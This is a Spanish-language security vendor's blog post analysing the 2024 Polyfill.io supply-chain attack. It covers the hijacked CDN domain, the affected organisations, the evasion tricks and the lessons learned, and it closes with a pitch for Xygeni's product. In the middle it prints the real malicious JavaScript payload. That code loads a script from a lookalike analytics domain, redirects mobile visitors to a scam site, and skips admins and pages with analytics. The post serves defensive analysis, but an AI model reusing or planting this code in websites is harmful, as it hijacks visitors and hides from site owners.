ataque-a-la-cadena-de-suministro-de-polyfill-ataque-a-la-cadena-de-suministro-software

Desenmascarando el ataque Polyfill: un análisis en profundidad

En febrero 2024, el Ataque a la cadena de suministro de Polyfill.io—un excelente ejemplo de ataques a la cadena de suministro de software— comprometió más de 100,000 sitios web en todo el mundo. Este incidente involucró secuestro de paquetes, donde FUNNULL, una entidad maliciosa, obtuvo el control del dominio y el repositorio de GitHub de Polyfill, inyectando malware en el servicio. El malware estaba dirigido específicamente a usuarios móviles, redirigiéndolos a sitios web de apuestas fraudulentas explotando vulnerabilidades en la entrega de código dinámico de Polyfill basada en encabezados HTTP y agentes de usuario.

Análisis técnico: cómo funcionó el ataque Polyfill

Polyfill se ha adoptado ampliamente para garantizar la compatibilidad entre las funciones web modernas y los navegadores más antiguos. Los atacantes utilizaron secuestro de paquetes comprando el cdn.polyfill.io dominio e incrustación de scripts maliciosos. Lo que hizo que este ataque fuera tan peligroso fue el comportamiento sofisticado del malware:

  • Generación de código dinámico:El servicio de Polyfill generó respuestas JavaScript personalizadas en función del dispositivo que accedía al sitio web (por ejemplo, móvil o computadora de escritorio), encabezados HTTP y agentes de usuario. Los atacantes aprovecharon esta naturaleza dinámica e inyectaron cargas útiles maliciosas diseñadas para dispositivos específicos, en particular, teléfonos móviles.
  • Técnicas de evasión:El malware era inteligente. Retrasaba su ejecución cuando se detectaban servicios de análisis como Google Analytics, lo que impedía que sus acciones aparecieran en las estadísticas del sitio. Además, no se activaba si se detectaban usuarios administradores o desarrolladores, lo que evitaba aún más la detección temprana durante la depuración o las pruebas.
  • Redireccionamiento móvil:Una vez activado, el malware redirigía a los usuarios a sitios web de juegos de azar fraudulentos haciéndose pasar por dominios legítimos (por ejemplo, googie-anaiytics.com). Los atacantes incluso manipularon ventanas de tiempo para reducir las sospechas, ejecutando la carga útil solo durante ciertas horas para tomar por sorpresa a los usuarios móviles desprevenidos.

Los sitios más afectados por el ataque Polyfill

La Ataque a la cadena de suministro de Polyfill Afectó a más de 100,000 sitios web, incluidas organizaciones importantes como:

  • Foro Económico Mundial
  • Intuit
  • JSTOR
  • Banco de irlanda
  • Coldwell Banker
  • Live Nation
  • Brandeis University
  • Compañía de aeropuertos de Dubai
  • Fondo de Defensa Ambiental

Estas víctimas de alto perfil subrayan el alcance global del ataque y la vulnerabilidad de Grandes instituciones que se enfrentan a infracciones en la cadena de suministro

Alertas tempranas y respuesta

Andrés BettsEl creador original de Polyfill advirtió a los desarrolladores meses antes del ataque que dejar de usar el servicio Polyfill después de perder el control del dominio. Su advertencia fue ignorada en gran medida hasta que se lanzó el ataque de FUNNULL. Una vez detectado, Redes de distribución de contenido como Cloudflare y Fastly proporcionó alternativas seguras, mientras que Betts reiteró su consejo a los desarrolladores de eliminar por completo las referencias a Polyfill.

Ejemplo de carga útil maliciosa de Polyfill

Para ilustrar la sofisticación del ataque a la cadena de suministro de Polyfill, sansec Se proporcionó un ejemplo detallado de la carga útil maliciosa utilizada. Esta carga útil se adapta dinámicamente en función del dispositivo del usuario, lo que activa redirecciones a sitios web fraudulentos y emplea técnicas para evadir la detección. Para ver más de cerca el desglose técnico de esta carga útil, puede consultar De Sansec Análisis completo y muestra de código malicioso.

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

¿Por qué ocurrió el ataque a la cadena de suministro de Polyfill?

El ataque a la cadena de suministro de Polyfill subraya la importancia crítica vulnerabilidades en dependencia de terceros Gestión. El ecosistema moderno de JavaScript depende en gran medida de bibliotecas de código abierto y los desarrolladores suelen utilizar herramientas como npm para integrar estas bibliotecas automáticamente. Sin una auditoría rigurosa o un control continuo, los paquetes comprometidos pueden pasar desapercibidos, como se ha visto con Polyfill.

Además, el rápido ritmo de desarrollo e implementación en los entornos de software actuales a menudo prioriza la funcionalidad y la velocidad por sobre los controles de seguridad exhaustivos. Los atacantes explotan esta brecha, apuntando a bibliotecas populares para maximizar su impacto. En el caso de Polyfill, una vez que los atacantes obtuvieron el control del dominio, aprovecharon el uso generalizado de la biblioteca para inyectar código malicioso en una gran cantidad de sitios web.

Este incidente destaca la importancia de implementar medidas de seguridad estrictas, como herramientas de auditoría de dependencias, monitoreo en tiempo real y planes de respuesta a incidentes sólidos, para protegerse contra ataques similares a la cadena de suministro de software. Las organizaciones deben priorizar la seguridad en sus flujos de trabajo de desarrollo para proteger sus ecosistemas digitales de manera eficaz.

Prevención de futuros ataques: gestión robusta de dependencias

Al gestionar dependencias, xygenis Open Source Security Emplea múltiples capas de protección, diseñadas para detectar, poner en cuarentena y remediar componentes maliciosos en tiempo real y evitar ataques a la cadena de suministro de software.

Detección de malware en tiempo real:Xygeni monitorea continuamente los registros públicos y busca código sospechoso antes de que ingrese al entorno de desarrollo. Esto permite bloquear de forma proactiva amenazas como el ataque Polyfill, como se destaca en La de Luis Rodríguez serie de artículos. 

Alertas automatizadas y cuarentenaXygeni aísla automáticamente los paquetes comprometidos y genera alertas, lo que permite a los equipos de desarrollo actuar con rapidez. Al integrarse con CI/CD pipelines, cualquier amenaza puede detenerse antes de que llegue a producción. En casos como el incidente de Polyfill, esta función evita un impacto generalizado al detener el código malicioso de manera temprana.

Priorización dinámica y SBOM:Xygeni prioriza dinámicamente las vulnerabilidades en función del contexto, la capacidad de explotación y el impacto comercial. Al generar una Lista de materiales de software en tiempo real (SBOM)Las organizaciones pueden realizar un seguimiento de todos los componentes de terceros, lo que garantiza una transparencia total. Este monitoreo en tiempo real es crucial al administrar dependencias de código abierto, lo que permite respuestas rápidas a incidentes como el secuestro de Polyfill.

En la serie de artículos de Luis Rodriguez, el enfoque en defensa proactiva Se analiza en detalle la protección contra paquetes maliciosos de código abierto. El enfoque de Xygeni no solo cubre la detección en tiempo real, sino que también proporciona vías de reparación automatizadas, lo que permite a las organizaciones volver a versiones seguras sin interrumpir la producción.

¡Revisa Los paquetes maliciosos de código abierto Serie de artículos aquí para obtener más información sobre cómo Xygeni gestiona la seguridad de código abierto.

Lecciones del ataque Polyfill

La Ataque a la cadena de suministro de Polyfill.io Enseña lecciones cruciales sobre los riesgos de las dependencias de terceros en el desarrollo web moderno.

  • Vigilancia en dependencias de terceros:Esta es la conclusión más importante. Las organizaciones deben Revisar, examinar y monitorear periódicamente Todas las bibliotecas de terceros que utilizan. La dependencia excesiva de dependencias no verificadas puede exponer los sistemas a riesgos graves.
  • Medidas de seguridad proactivas:Monitoreo continuo, como por ejemplo con Detección de amenazas en tiempo real de Xygeni, puede detectar vulnerabilidades de forma temprana.
  • Educación y EntrenamientoMantener a todos los miembros del equipo actualizados sobre las últimas amenazas fortalece la seguridad organizacional.

El ataque a la cadena de suministro de Polyfill sirve como un poderoso recordatorio de la creciente amenaza que representa ataques a la cadena de suministro de softwareEstos ataques explotan vulnerabilidades en componentes de terceros ampliamente utilizados, lo que deja expuestas a organizaciones de todos los tamaños. Al adoptar medidas de seguridad proactivas, como monitoreo en tiempo real, detección automatizada de amenazas y Gestión robusta de dependencias—como las que ofrece Xygeni— las empresas pueden protegerse de amenazas similares en el futuro. Mantenerse alerta y mantener una supervisión integral de las bibliotecas de terceros es fundamental para prevenir ataques a gran escala como Polyfill.

Proteja sus dependencias de código abierto contra ataques a la cadena de suministro de software

No dejes que tu aplicación sea víctima de ataques a la cadena de suministro de software como Polyfill. Xygeni's Open Source Security Ofrece monitoreo en tiempo real, mapeo avanzado de dependencias y remediación automatizada para proteger su desarrollo. pipelines de paquetes comprometidos.

Tome el control de su cadena de suministro de software hoy. Guardar una demostración y vea cómo Xygeni puede proteger su organización de amenazas futuras.

sca-tools-software-herramientas-de-analisis-de-composicion
Priorice, solucione y proteja sus riesgos de software
Además, te ofrecemos una prueba gratuita de 7 días de nuestra Business Edition para que puedas explorar las funciones avanzadas de la plataforma SecurityScorecard.
No se requiere tarjeta de crédito

Asegure el desarrollo y entrega de software

con la suite de productos Xygeni